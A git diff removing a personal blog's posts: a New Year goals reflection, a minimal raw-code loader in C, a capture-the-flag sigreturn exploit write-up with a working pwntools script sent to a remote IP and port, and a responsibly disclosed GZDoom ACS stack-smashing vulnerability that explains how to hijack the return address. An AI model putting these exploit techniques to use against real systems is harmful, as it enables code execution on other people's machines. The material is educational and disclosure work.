diff options
Diffstat (limited to 'posts')
27 files changed, 0 insertions, 5090 deletions
diff --git a/posts/.dir-locals.el b/posts/.dir-locals.el deleted file mode 100644 index 81ce881..0000000 --- a/posts/.dir-locals.el +++ /dev/null @@ -1,7 +0,0 @@ -((org-mode . ((org-html-doctype . "xhtml5") - (org-html-html5-fancy . t) - (org-html-with-latex . 'verbatim) - (org-export-with-toc . nil) - (org-export-with-section-numbers . nil) - (org-export-with-sub-superscripts . nil) - (ox-haunt-base-dir . "/home/jakob/Blog/haunt/")))) diff --git a/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org b/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org deleted file mode 100644 index efa5015..0000000 --- a/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org +++ /dev/null @@ -1,279 +0,0 @@ -#+TITLE: A Reflection on "New Ambitions for a New Year" -#+DATE: <2019-03-03 Sun> -#+TAGS: writeup, practices - -On the night of December 31st of last year, I wrote "New Ambitions for a New -Year," a blog post outlining a number of self-imposed goals for 2019. The words -I ended on were: "[t]oo ambitious? Well, I guess we'll find out in 365 days when -I write another post like this." Indeed, what you're reading right now is -something I expected to author much later, but enough has changed in the past -three months that I feel it's appropriate to put out an addendum now. The post's -original text follows. - ---- - -As we draw on the final hours of 2018, the only words I feel appropriate are: -"wait, it's really January tomorrow?" The past twelve months have felt -deceivingly short despite everything that's happened in that span of time. I had -a number of rough job interviews, met Richard Stallman in person, installed -Gentoo, became a legal adult, graduated high school, and finished my first -semester of university, all in what seemed to me like just a few weeks. - -"Productive" is how I'd characterize the year, but I'm having a hard time -rationalizing why it is that I feel that way. Yes, I reached two major -milestones in my education, but I still don't know what to make of everything -else I did. I'd probably feel better about my accomplishments if I had a goal -and a means of assessing whether or not I achieved it, but alas, I didn't set -any out of the same cynicism that drives me to point out resolutioners -contributing to the January gympocalypse. I'd like to mend that cynicism for -2019, though. One year really isn't a bad span of time for setting goals -- it's -long enough that you can be ambitious in your planning, but short enough that -there's pressure to continue making progress throughout the year. - -So, I've come up with some goals for myself, and I've decided to write about -them to impose some level of accountability. - -* Doing - -** Writing - -This year, I managed to put out seven articles. Last year saw four, and the year -before saw one. A linear regression suggests that I'll be putting out ten this -year. - -I kid. As tempting as it is to make "write more frequently" one of my goals, my -focus will be on quality over quantity. In 2019, I plan to: - -- Read through /all/ of my past posts, drafts, and [[http://jakob.space/links/][favorite articles]], taking - notes on how they're written, and synthesizing a writing style that can be - thoroughly described on paper. If you've read my earlier writing, I anticipate - that you've noticed significant variance in the presentation of each piece. - It's time for me to identify the aspects of style that work, and find a way to - consistently incorporate those aspects into my future writing. -- In a similar fashion, develop a consistent method for doing research and - managing sources throughout the writing process. I believe my technical - writing will benefit if I make a habit of perusing the existing corpus of - research prior to putting words down on paper. -- Expand my writing endeavors to Wikipedia. I've collected a number of sources - for expanding Wikipedia stubs, and my goal is to turn every entry on that list - into a series of edits. Ideally, I'll go beyond that, but given the preceding - goals, I think that it makes sense to start small. Writing for Wikipedia will - expose me to critique from more experienced writers, and give me experience - writing in an encyclopedic style. - -No hard article count goals this year, because again, quality over quantity. If -I'm forcing myself to write to fill a quota, my heart won't be in it. - -** Contributing to Free Software - -I'd like to migrate all of the projects I maintain to [[https://git.sr.ht/~jakob/][sr.ht]], but I'll be keeping -my GitHub account for sending pull requests to projects that live on there. - -Originally, I had a list of projects that I wanted to contribute to in the new -year, but I haven't read a single line of code from any of the entries on that -list and there's a good chance that I'll have second thoughts about contributing -following the first perusals, so I've decided that a more reasonable goal is to -become a regular contributor to at least one project. By "regular contributor," -I mean gaining enough of a presence that people are coming to me to ask -questions about the code. - -* Learning - -** Computer Science - -I have tried, and failed, numerous times to get through Hal Abelson and Gerald -Sussman's /Structure and Interpretation of Computer Programs/. Now that I'm more -mature in terms of rigor, I've decided to finally buckle down to make my way -through the text and all of its exercises. It's a fat 657 page book, but I'm -more than capable, and I have an entire year to do it. - -My more lighthearted goal is to put out at least one demo on either the Super -Nintendo or the Nintendo DS. I've always wanted to program for a platform where -I'm constrained by the limitations of the hardware. - -** Computer Security - -Capture-the-flag used to be a more significant hobby of mine; I mostly dropped -off the scene when I graduated high school, but I'd like to get back into it. In -a similar vein to my SICP goal, I'm aiming to finally get through a book that -I've failed to finish in the past, [[https://beginners.re/][Reverse Engineering for Beginners]], and -complete _at least_ 50 of its exercises. 50 is a about one per week, which I -think is reasonable. - -** Electronics - -I've tried several times in the past to learn "electronics", and never -progressed beyond the laws of Ohm and Joule. I think the issue was that I didn't -know what I wanted to learn; I set out to study "electronics," which wasn't -specific enough. This time, I'll be more diligent in finding curriculum that's -relevant to me. I want to learn to read boards and gain the knowledge necessary -to repair my Commodore 64, so my focus will be on the design of electronic -circuits. I'll achieve this is by going through the coursework for MIT's 6.002: -"Circuits and Electronics". It's a course I wanted to go through when I was a -sophomore in high school, but at the time, I was discouraged by the list of -prerequisites in the syllabus. - -Another goal of mine is to join an amateur radio club. I've already got two in -mind: [[http://sdfarc.org/][SDFARC]] and the one that runs the local 2-meter repeater I frequent. My -thought is that joining one will give me an opportunity to find an Elmer whose -brain I can pick about RF electronics. - -** Mandarin Chinese - -One of my favorite courses in high school was Mandarin Chinese. I took it for -four years, and while I wanted to continue studying it at university, I sadly -couldn't fit any classes into my schedule. The four years of study left me with -a grasp of the language's fundamentals, however, and I think that I could -reasonably continue to learn the language on my own accords. Throughout the -year, I plan to: - -- Learn the vocabulary on [[https://en.wiktionary.org/wiki/Appendix:Mandarin_Frequency_lists/1-1000][Wiktionary's list]] of the 1000 most frequently used - words in Mandarin. I already know a number of words on the list from my four - years of study, and learning the rest should give me a good base for reading - from newspaper articles and books. I plan to learn the words' definitions and - pronunciations through spaced repetition, and I'll handwrite the character - every time I review the card for it. Although the ability to handwrite - characters isn't a specific goal of mine, I've found that it helps me in - learning to recognize the characters. -- Read /C程序设计语言/. I have a translated copy of Kernighan and Ritchie from - when I went to 王府井, so that should be reading that's both engaging and full - of the kind of vocabulary that I'm interested in learning. -- Make friends with at least one of the international student in my dorm. I'd - feel bad conscripting someone solely for the purpose of helping me learn - Mandarin, but I figure that if I befriend someone whose native tongue is - Mandarin and spit a bunch of broken Chinese at them, they'll be inclined to - correct me (through laughter, perhaps). - -To recap, my goals this year are: - -- Move my software projects to [[https://sr.ht/][sr.ht]]. -- Join an amateur radio club. -- Make friends with at least one of the international students in my dorm. -- Synthesize a consistent writing style and document it. -- Synthesize a method for performing research and document it. -- Turn my list of articles into a series of edits to Wikipedia stubs. -- Learn the 1000 most frequently used words in Mandarin Chinese. -- Read /C程序设计语言/. -- Read /SICP/ and complete all of its exercises. -- Read /RE4B/ and compete at least 50 of its exercises. -- Complete the coursework for 6.002. -- Put out at least one demo on either the Super Nintendo or the Nintendo DS. -- Become a regular contributor to at least one free software project. - -Too ambitious? Well, I guess we'll find out in 365 days when I write another -post like this. - ---- - -As alluded to in the introduction, I've come to understand that achieving every -goal on that list within the span of a year is impossible. Well, at least for a -full-time university student. Balancing a course load of 19 credits with -undergraduate research and a social life leaves me with little more than a few -hours on the weekends to dedicate to those tasks. As such, I'm reevaluating and -redefining my goals for 2019. - -What's more, some of the things on that list no longer even interest me. Why -invest significant time into something I know I won't find fulfilling? Take the -plan for continuing my study of Mandarin Chinese as an example: bilingualism -seems like it might be useful, but I have no realistic use for the skill, and I -was really dreading the daily practice I was putting in for the first few weeks -of the year. - -The other issue that's come up is a loss of motivation for some of the tasks -that, unlike continuing my study of Mandarin, I /would/ find fulfilling. To remedy -this, I've decided to associate small integrative projects with each of the -goals I intend on keeping. This move is inspired by the points made in Norvig's -[[http://norvig.com/21-days.html][Teach Yourself Programming in Ten Years]], which I had read several years ago but -was reminded of after a recent perusal of the introduction to [[http://www.cs.cornell.edu/courses/cs3110/2019sp/textbook/][Functional -Programming in OCaml]]. I'd specifically like to quote a few things he lists in -his "recipe for programming success": - -- Get *interested* in programming, and do some because it is fun. Make sure that - it keeps being enough fun so that you will be willing to put in your ten - years/10,000 hours. -- *Program*. The best kind of learning is learning by doing. To put it more - technically, "the maximal level of performance for individuals in a given - domain is not attained automatically as a function of extended experience, but - the level of performance can be increased even by highly experienced - individuals as a result of deliberate efforts to improve." (p. 366) and "the - most effective learning requires a well-defined task with an appropriate - difficulty level for the particular individual, informative feedback, and - opportunities for repetition and corrections of errors." (p. 20-21) The book - Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life is an - interesting reference for this viewpoint. -- *Talk with* other programmers; read other programs. This is more important than - any book or training course. -- Work on *projects with* other programmers. Be the best programmer on some - projects; be the worst on some others. When you're the best, you get to test - your abilities to lead a project, and to inspire others with your vision. When - you're the worst, you learn what the masters do, and you learn what they don't - like to do (because they make you do it for them). -- Work on *projects after* other programmers. Understand a program written by - someone else. See what it takes to understand and fix it when the original - programmers are not around. Think about how to design your programs to make it - easier for those who will maintain them after you. - -Working towards a project is largely conducive of these. It will ensure that I'm -having fun, that I'm learning by doing, and that I'm speaking with those who -have expertise. So, here's my updated list of goals for 2019, paired with the -projects I've come up with: - -- Complete the coursework for MIT's 6.002. - - Troubleshoot my Commodore 64 and restore it to a working state. -- Read chapters 1-4 of Structure and Interpretation of Computer Programs and - complete all of their exercises. - - Implement a ray-tracer in Scheme. -- Compete 50 of the exercises in Reverse Engineering for Beginners. - - Write another game hacking post. -- Synthesize a consistent writing style and document it. - - Write another game hacking post. -- Synthesize a method for performing research and document it. - - Adopt the "Heap feng shui" and "JIT spraying" pages on Wikipedia. - -Although this is still an ambitious list, I think I can reasonably achieve all -of these by 2020. I think the more important point, however, is that I've -effectively reduced my original ragtag list of last-minute New Year's Eve -thoughts into a clear plan for personal growth. Completing the coursework for -6.002 will enable me to design and reverse engineer circuits. Completing -Structure and Interpretation of Computer Programs will teach me to approach -problems with a functional programming mindset. Working through the exercises -from Reverse Engineering for Beginners will give me a repertoire of patterns for -going forward in capture-the-flag and any projects I take on in the future that -may involve reverse engineering. Developing a consistent writing style will -strengthen my ability to communicate knowledge, and developing a consistent -method for performing research will encourage me to exercise that skill of -communicating knowledge. - -During my initial reflection, I thought that troubleshooting the C64 would make -for a poor choice of project, as there's the possibility that I'd start -troubleshooting and soon realize that it's borked beyond repair. One thought was -to instead follow the instructions outlined in Steve Ciarcia's Build Your Own -Z80 Computer, but after looking through the book, I realized that it would be -both expensive and probably very difficult to complete due to the age of the -components used.[fn:1] I also thought to follow Ben Eater's instructions for -[[https://eater.net/8bit/kits][building an 8-bit computer from scratch]], but that also has the issue of price. -Ultimately, I decided to go with my original plan to fix the C64. Even if I -can't repair the C64, I have a broken VIC-20 I can fall back on, and I think I'd -learn more in the domain of reverse engineering circuits than I would following -the instructions that come with some homebrew computer kit. - -My definition of success for the goal of reading Structure and Interpretation of -Computer Programs changed slightly to omit the fifth chapter. I still plan to -read it, just not this year. My reasoning comes mainly from skimming ahead to -get an idea for an integrative project and seeing exercise 5.51. It'd just be... -well, a lot. Why a ray-tracer? It's short, sweet, utilitarian, and would -probably be both pleasant and eye-opening to implement in a functional style. - -I'll still be working through the exercises in Reverse Engineering for -Beginners, but I will not be reading the book in it's entirety. After going -through the first few chapters, I've developed the opinion that the book makes -for incredible reference material, but that a page-by-page reading wouldn't be -valuable for someone with prior experience in reverse engineering. I'll still be -skimming a subset of the book[fn:2], but I don't want promise to myself that -I'll finish those chapters by the end of this year. - -One last thing to note -- I've omitted the goal about moving all my software -projects to sr.ht, as I've succeeded in doing that. - -[fn:1] How the hell am I going to get my hands on a CRT terminal in 2019? -[fn:2] Chapters 30-63, 68, 76, and 88. diff --git a/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org b/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org deleted file mode 100644 index 6112446..0000000 --- a/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org +++ /dev/null @@ -1,155 +0,0 @@ -#+TITLE: Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader -#+DATE: <2017-07-31 Mon 13:35> -#+TAGS: writeup, programming, operating-systems, c, linux - -It seems that static linking is back in style, or at least popular among all the -hip new programming languages of today. I don't have anything against statically -linked binaries, nor do I have a problem with larger executables, but I've -noticed that the acceptable size for an executable is a lot larger now than it -was a few years ago; that is, the new kids on the block have significantly more -leeway than their predecessors. For example - a C program that spits out "hello -world" is 7 KB when statically linked to musl. It's 12 KB when dynamically -linked to glibc. The same program in D, where the reference compiler doesn't -allow dynamic linking to the standard library, is 896 KB. A blog post I read -recently about certificate chain verification in Go made a point of praising the -toolchain for being able to spit out a binary that was "less than 6 MB!" I'm -being more facetious than with my D example, as this was statically linked to an -SSL-capable web server, but 6 MB is a little over half the size of a -[[https://en.wikipedia.org/wiki/Tiny_Core_Linux][fully-functioning operating system]]. I'm not so interested in why we settle -binaries the size of a few videos, but instead I'd like to look at why they're -that large to begin with. To peer in and see what wealth of information is -stored inside, and how certain programming languages make use of that -information. - -Perhaps we should first take a step back. What is a binary, anyway? It's a -structured format, not much different than your typical PNG or Ogg file, -containing some machine code instructions and directives for how the program -should be loaded into memory. The task of parsing the binary and actually -loading it is done by a *loader*, though that's a pretty broad term. My favorite -book on this subject, /Linkers and Loaders/ by John R. Levine, defines a loader -as a program to "copy a program from secondary storage (which since about 1968 -invariably means a disk) into main memory so it's ready to be run. In some cases -loading just involves copying the data from disk to memory, in others it -involves allocating storage, setting protection bits, or arranging for virtual -memory to map virtual addresses to disk pages." - -Loaders are everywhere, as you can probably imagine. Maybe you've heard of a -boot loader; those are for getting a kernel into memory from the strange and -unfamiliar land of x86 real mode. Whenever you run a program on Linux, it's -loaded by the kernel's ELF loader, of which you can find the source code for at -[[https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c][=fs/binfmt_elf.c=]] of the kernel source tree. On a higher level, something like -Java has a class loader for getting bytecode into memory so that the JVM can run -it. - -As our first step into the world of loaders, we'll write our own. A very basic -one, at that. I think that because we're taking a look at how much information -can be stored inside of a binary, we should begin with the absolute minimum. It -won't use a structured format, and won't set up memory beyond the stack and a -page for executable code, but not at a specified address of any sort. Where that -code exists in memory isn't known to the program, and it only really knows where -the stack is from the =%rsp= register. We'll simply load some machine code from -a file, and execute it. I'll spare you the per-line explanation I usually give, -since it's reasonably simple and the only part you might not understand already -is explained through comments. - -#+BEGIN_SRC c -#include <sys/mman.h> -#include <sys/stat.h> - -#include <stdio.h> - - -size_t binary_size(FILE *); - - -int main(int argc, char **argv) { - FILE *fp; - void *exe; - size_t exe_size; - void (*jump)(void); - - if (argc != 2 || (fp = fopen(argv[1], "rb")) == NULL) { - fprintf(stderr, "USAGE: %s [FILE]\n", argv[0]); - return 1; - } - - if ((exe_size = binary_size(fp)) == 0) { - return 1; - } - - /* Because writable memory pages are marked as non-executable by - default, we need to map a new page of memory for our executable - code. We do this by invoking the "mmap" syscall, and getting a - new page from the kernel. */ - exe = mmap(NULL, exe_size, PROT_WRITE | PROT_EXEC, - MAP_SHARED | MAP_ANONYMOUS, -1, 0); - - if (exe == MAP_FAILED) { - fprintf(stderr, "mmap failure.\n"); - return 1; - } - - fread(exe, exe_size, 1, fp); - jump = exe; - jump(); - - munmap(exe, exe_size); - fclose(fp); - return 0; -} - - -/* We'll use some POSIX standard functions because we can and they're - generally safer than fseek and ftell. */ -size_t binary_size(FILE *fp) { - struct stat buf; - - if ((fstat(fileno(fp), &buf) != 0) || (!S_ISREG(buf.st_mode))) { - return 0; - } - - return buf.st_size; -} -#+END_SRC - -Looks good! We can't use any of the binaries on our system to test it out, -though. They're in some structured format like ELF and the header would be -interpreted as code -- probably causing a segmentation fault. Even if it got -past the header without a core dump, the binary probably relies on some absolute -addressing that we didn't set up properly. So instead of running =/bin/ls= -through our program, we'll assemble "hello world." - -#+BEGIN_SRC asm - leaq (%rip), %rax - addq $_msg_end - ., %rax - jmpq *%rax -_msg: - .ascii "Hello, world!\n" -_msg_end: - movq $0x01, %rax - movq $0x01, %rdi - leaq (%rip), %rsi - subq $. - _msg, %rsi - movq $0x0e, %rdx - syscall - ret -#+END_SRC - -What you'll probably notice immediately is that we're forced to write a -position-independent executable. As I mentioned earlier, our loader can't handle -absolute addresses. It can't really handle anything, aside from the most simple -of x86 instructions. We do a =ret= at the very end to return control to the -loader. Nothing left to do now but test it out: - -#+BEGIN_SRC -[jakob@Epsilon ~]$ ./a.out test.bin -Hello, world! -#+END_SRC - -=test.bin= is 64 bytes and takes 0.001s to load and run. I probably could have -made the program smaller, but I think it's a perfectly fine benchmark as we -continue through this series. Keep in mind that 64 bytes is only achievable -because we forget the conveniences of modern loaders. We can only run -position-independent code, there's no separation between data and code segments, -no room for debugging symbols, no write protection on the code segment, nothing. -This is perhaps the most stripped down loader you can get. diff --git a/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org deleted file mode 100644 index 9ee9606..0000000 --- a/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org +++ /dev/null @@ -1,107 +0,0 @@ -#+TITLE: BackdoorCTF 2017: FUNSIGNALS -#+DATE: <2017-09-24 Thu 12:01> -#+TAGS: writeup, security, capture-the-flag, binary-exploitation, x86, linux - -"funsignals" was a 250 point binary exploitation challenge with 58 solves. The -challenge itself was a very trivial example of sigreturn-oriented programming. - -Sigreturn-oriented programming is a means of getting values into certain -registers without having to use ROP gadgets that pop values from the stack. It's -a technique that relies on how UNIX-like operating systems implement signals - -to quote an [[https://lwn.net/Articles/676803/][article from LWN on the subject]], "when a signal is delivered to a -process, execution jumps to the designated signal handler; when the handler is -done, control returns to the location where execution was interrupted. Signals -are a form of software interrupt, and all of the usual interrupt-like accounting -must be dealt with. In particular, before the kernel can deliver a signal, it -must make a note of the current execution context, including the values stored -in all of the processor registers." - -That "execution context" is quite simply a structure stored on the stack, which -is colloquially known as the "sigcontext" structure and is defined in the -architecture-specific headers of the Linux kernel. x86, for example is found at -[[http://elixir.free-electrons.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h][=arch/x86/include/uapi/asm/sigcontext.h=]]. - -We're given a small amd64 Linux binary for the challenge. Its code is only a few -bytes long: - -#+BEGIN_SRC asm :hl_lines 0 -;-- _start: -0x10000000 31c0 xorl %eax, %eax -0x10000002 31ff xorl %edi, %edi -0x10000004 31d2 xorl %edx, %edx -0x10000006 b604 movb $4, %dh -0x10000008 4889e6 movq %rsp, %rsi -0x1000000b 0f05 syscall -0x1000000d 31ff xorl %edi, %edi -0x1000000f 6a0f pushq $0xf -0x10000011 58 popq %rax -0x10000012 0f05 syscall -0x10000014 cc int3 -;-- syscall: -0x10000015 0f05 syscall -0x10000017 4831ff xorq %rdi, %rdi -0x1000001a 48c7c03c0000. movq $0x3c, %rax -0x10000021 0f05 syscall -#+END_SRC - -Don't be intimidated by the use of the seemingly uncommon =syscall= instruction, -the portion before the 'syscall' symbol is equivalent to the following C code. - -#+BEGIN_SRC c :hl_lines 0 -char buf[0x400]; -read(0, buf, 0x400); -sigreturn(); -#+END_SRC - -=sigreturn(2)= is a system call you never use in practice, but as we mentioned -earlier, the process needs to restore the context when it returns from a signal -handler. This is how it's done. =sigreturn(2)= essentially pops the =sigcontext= -structure from the stack and fills the proper registers. Also, that =int3= -instruction should be a hint to us that we'll have to manipulate the instruction -pointer, too, since the program would abort if we hit that. - -A few bytes following the binary's code is a string that sticks out like a sore -thumb: ~fake_flag_here_as_original_is_at_server~. To get the flag, we're going to -want to print out whatever's at that address, which we can do with the =sys_write= -system call. We're going to want to load =0x01=, the syscall number for =sys_write=, -into =%rax=, =0x01= into =%rdi= for =stdout=, =0x10000023= into =%rsi= for the address of -the flag we want to print, and =0x29= into =%rdx= for the approximate length of the -flag. Once the registers are all set up, we're going to want to invoke the -kernel, so we'll set =%rip= to =0x10000015= - where there's a =syscall= instruction -followed by a clean exit. To load all of those registers, we will fill out a -sigcontext frame containing the values. - -Now, I would highly advise against manually packing the =sigcontext= structure, -as there are a few undocumented fields that can and will cause segmentation -faults coming from seemingly nowhere. [[https://docs.pwntools.com/en/stable/][pwntools]] provides the =pwnlib.rop.srop= -package for creating sigcontext frames, and the API is simple enough to -understand just from the exploit code. - -#+BEGIN_SRC python :hl_lines 0 -#!/usr/bin/env python - -from pwn import * - - -SIGCONTEXT = SigreturnFrame(arch="amd64") -SIGCONTEXT.rax = 0x01 -SIGCONTEXT.rdi = 0x01 -SIGCONTEXT.rsi = 0x10000023 -SIGCONTEXT.rdx = 0x29 -SIGCONTEXT.rip = 0x10000015 - -proc = remote("163.172.176.29", 9034) -proc.sendline(bytes(SIGCONTEXT)) -print(proc.recv()) -#+END_SRC - -#+BEGIN_SRC -[jakob@Epsilon funsignals]$ ./exploit.py -[+] Opening connection to 163.172.176.29 on port 9034: Done -b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}' -[*] Closed connection to 163.172.176.29 port 9034 -#+END_SRC - -As an aside, you typically won't have an explicit call to =sigreturn(2)= in the -binary. Sigreturn-oriented programming is most commonly combined with ROP, where -a gadget to load =0xf= into =%rax= and a gadget to perform a syscall are used. diff --git a/posts/Bad BEHAVIOR/bad-behavior.org b/posts/Bad BEHAVIOR/bad-behavior.org deleted file mode 100644 index 87e0ae7..0000000 --- a/posts/Bad BEHAVIOR/bad-behavior.org +++ /dev/null @@ -1,188 +0,0 @@ -#+TITLE: Bad BEHAVIOR -#+DATE: <2018-01-04 Thu 15:45> -#+TAGS: writeup, security, binary-exploitation, video-games, x86, doom - -TL;DR, I discovered a stack-smashing vulnerability in GZDoom's interpreter for -ACS. As a preface, there's a tendency for whitepapers like this in the security -community to be written with a somewhat condescending tone towards the product's -vendor. I do not mean for any portion of this writeup to come off as degrading -to the developers involved. Yes, the bug was obvious to /me/, but it was still -subtle enough that it went under the radar for nearly 23 years. Most developers -aren't actively thinking about this kind of attack while writing a bytecode -interpreter. I have an enormous amount of respect for the development teams of -both GZDoom and Zandronum, who were quick to issue a patch addressing the issue -and were respectful of my wishes to release this whitepaper to the public. I'd -also like to thank everyone I had the pleasure of working with during this -process; it warms my heart to know that the communities behind these open-source -software projects are this friendly. - -Documentation and exploit code are available [[https://git.sr.ht/~jakob/bad-behavior][here]], which is where I would like -to direct any source port maintainers. There is a good chance that your port is -vulnerable, and the patch to fix it is not overly-complicated. - ---- - -It's been a little over a year and a half since my first capture-the-flag -competition. In that time, I've exploited countless binaries, all simulated. -Popping a shell had no impact, no consequences within the real world. Recently, -though, I've experienced somewhat of a wake up call. The day has finally come -that I've discovered a security-critical bug in the wild to call my own. - -The research was impromptu, motivated by a few things I noticed while working -away on a map for Doom. If you want to script events in Doom, such as a boss -spawning and text appearing on the screen when the player flips a switch, you -use a somewhat obscure DSL called [[https://zdoom.org/wiki/ACS][ACS]]. The language was designed in the 90's for -Hexen, a game intended to run on MS-DOS, so the implementation is full of design -decisions that seem archaic nowadays. For one, scripts are compiled ahead of -time into a bytecode object, which is then stored in a map's BEHAVIOR [[https://zdoom.org/wiki/Lumps][lump]], and -finally run on a stack machine that has access to the game's state. - -ACS bytecode isn't completely unfamiliar to me; I wrote a disassembler for it a -while ago in an attempt to learn more about radare2's internals. Despite this, -the idea that the interpreter for it might allow some foul play to go by didn't -cross my mind until I was actually working with ACS on the source code level. -The language is, to say the least, hacked together. The type system is extremely -weak, and on a low level, the only type it understands is int. There's support -for strings, but they're an index into a table in the bytecode object, which can -lead to some interesting behavior. Take this valid ACS code, for example: - -#+BEGIN_SRC -script 1 ENTER { - print(s:"You picked the wrong house, foo'!"); - - // Also displays "You picked the wrong house, foo'!" - print(s:0); -} -#+END_SRC - -String constants are casted to the index at which they are located in the string -table, which means you can do math with strings - albeit a little less intuitive -than string math in Javascript. - -#+BEGIN_SRC -script 1 ENTER { - // Displays "1" (Since that's 0 + 1) - print(d:"First String" + "Second String"); -} -#+END_SRC - -There are a handful of other quirks, such as the fact that arguments can be -omitted when you invoke a function. The fragile nature of ACS made me want to -look at GZDoom's implementation to see if it would reject any code that does -things it shouldn't. What I initially had in mind was pulling something out of -the string table that doesn't exist, but when I cracked open the source code to -look at =PCD_PRINTSTRING=, I noticed something a little more sinister. - -#+BEGIN_SRC cpp :hl_lines 0 -case PCD_PRINTNUMBER: - work.AppendFormat ("%d", STACK(1)); - --sp; - break; -#+END_SRC - -Hm? It looks like the stack pointer is decremented without any bounds checking. -This is C++, though, and it's entirely possible that this is operator -overloading, so I looked at how the interpreter's stack was implemented. - -#+BEGIN_SRC cpp :hl_lines 0 -FACSStack stackobj; -int32_t *Stack = stackobj.buffer; -int &sp = stackobj.sp; -#+END_SRC - -No, it isn't operator overloading. This is bad. As an adversary who can -manipulate the bytecode in a BEHAVIOR lump, we have complete control over an -index into a buffer. Let's take a peek at =FACSStack=. - -#+BEGIN_SRC cpp :hl_lines 0 -struct FACSStack -{ - int32_t buffer[STACK_SIZE]; // STACK_SIZE is 0x1000 - int sp; - FACSStack *next; - FACSStack *prev; - static FACSStack *head; - - FACSStack(); - ~FACSStack(); -}; -#+END_SRC - -Take note that the stack pointer is adjacent to the buffer. That will be -important in the exploit. - -Let's start with a few experiments. The first thing I did was add some debug -prints to certain points in the ACS interpreter so that I could see where the -stack pointer is within the program's memory map. Now we can get our hands dirty -with ACS bytecode. At the time I was performing this research, I didn't know how -everything in the BEHAVIOR lump contributed to the final image, so I spent about -a half hour figuring out how to create a valid bytecode object by looking at -different BEHAVIOR lumps in a hex editor. What I /should/ have done was slowed -down and looked at =FBehavior::Init= in =p_acs.cpp=, but whatever, my way worked -with some trial and error. If you want to play with hand-writing ACS bytecode on -your own, you can use my exploit code as a base. Just alter the "payload" array -to contain the bytes you want to have run. - -Now, this is where the post is going to get a little confusing, since I have to -talk about two entirely different stacks. For the remainder of this whitepaper, I'll -refer to the ACS interpreter's stack as "VStack," and the GZDoom process's stack -as "SStack." - -Initially, I showed off the implementation of =PCD_PRINTNUMBER=, but something -that decrements the VStack pointer isn't desirable. Let me explain - the SStack -grows downwards on x86; that is, the SStack pointer starts at a very high -address and decreases as you push things onto the SStack. The VStack works in -the opposite direction: as you push things onto the VStack, the VStack pointer -increases. We want to traverse the SStack to the return address, which was -pushed before our script began execution, so we want an opcode that increments -the VStack pointer instead of one that decrements it. Fortunately, this isn't -difficult to find. - -#+BEGIN_SRC cpp :hl_lines 0 -case PCD_PUSHBYTE: - PushToStack (*(uint8_t *)pc); - pc = (int *)((uint8_t *)pc + 1); - break; -#+END_SRC - -Where =PushToStack= is a macro defined as: - -#+BEGIN_SRC cpp :hl_lines 0 -#define PushToStack(a) (Stack[sp++] = (a)) -#+END_SRC - -So the exploit /will/ overwrite the locals in the interpreter's stack frame, but -there's only really one variable we have to worry about borking, which I'll talk -about in a little bit. Let's jump in and craft a BEHAVIOR lump which calls -=PUSHBYTE= a bunch of times. - -#+CAPTION: A screenshot of my terminal showing an abrupt end to the debug prints I added for inspecting the absolute memory addresses of SStack and VStack. -[[./debug-prints.png]] - -We seem to end prematurely, which is because we hit the stack pointer. We will -have to modify our exploit to step over it somehow, which we can do by -overwriting the stack pointer to a value which points beyond it. Notice, -however, that =PUSHBYTE= increments the stack pointer by a whole four bytes. -When we push a byte, we're actually pushing a 4-byte integer with the high bytes -all set to 0, so we can't overwrite the stack pointer one "byte" at a time. -Fortunately, there is another ACS opcode, =PCD_PUSHNUMBER=, which pushes a full -4-byte integer. - -With some fiddling in GDB, we can find that the distance between the stack -buffer and where the return address is 4122 bytes. So we actually kill two birds -with one stone by smashing the stack pointer - the offset to the return address -is small enough that the desired stack pointer value fits into a 4 byte word. As -soon as we overwrite the stack pointer, we're at the return address. I suppose -maybe we killed three birds with one stone here, since we jumped over the stack -canary, too. Now we're at the fun part and can overwrite the return pointer with -another call or two to =PCD_PUSHNUMBER=. My exploit code writes -=0xdeadbeefcafebabe=, for the reason that it's recognizable in a stacktrace, but -theoretically you could overwrite the least significant bytes of the return -address and jump somewhere in GZDoom's =.text= segment, bypassing ASLR. - -We have complete control over the instruction pointer. Also, while I was -disclosing this to the development team, we discovered that vanilla Hexen has -this same arbitrary code execution vulnerability. No proof-of-concept yet. - -#+CAPTION: One of my posts in an internal discussion on the GZDoom forums regarding the same exploit existing in the vanilla Hexen code. -[[./vanilla-hexen-vulnerability.png]] diff --git a/posts/Bad BEHAVIOR/debug-prints.png b/posts/Bad BEHAVIOR/debug-prints.png Binary files differdeleted file mode 100644 index 538ccec..0000000 --- a/posts/Bad BEHAVIOR/debug-prints.png +++ /dev/null diff --git a/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png b/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png Binary files differdeleted file mode 100644 index 510cf5f..0000000 --- a/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png +++ /dev/null diff --git a/posts/Decompilation By Hand/decompilation-by-hand.org b/posts/Decompilation By Hand/decompilation-by-hand.org deleted file mode 100644 index e55c8a8..0000000 --- a/posts/Decompilation By Hand/decompilation-by-hand.org +++ /dev/null @@ -1,193 +0,0 @@ -#+TITLE: Reverse Engineering By Hand -#+DATE: <2018-03-01 Thu 19:00> -#+TAGS: tutorial, reverse-engineering, x86, c, linux - -My capture-the-flag team played in the Insomni'hack teaser this year. During the -competition, I worked on a single challenge titled "sapeloshop." It was labeled -as "Medium-Hard," and it was in the binary exploitation category. The source -code for the server wasn't provided, so reverse engineering was necessary. I -don't think that having to reverse the binary was supposed to be the hard part, -as most of the behavior could have been inferred through some high-level -analysis, yet I spent nearly five hours fruitlessly trying to reverse it, and 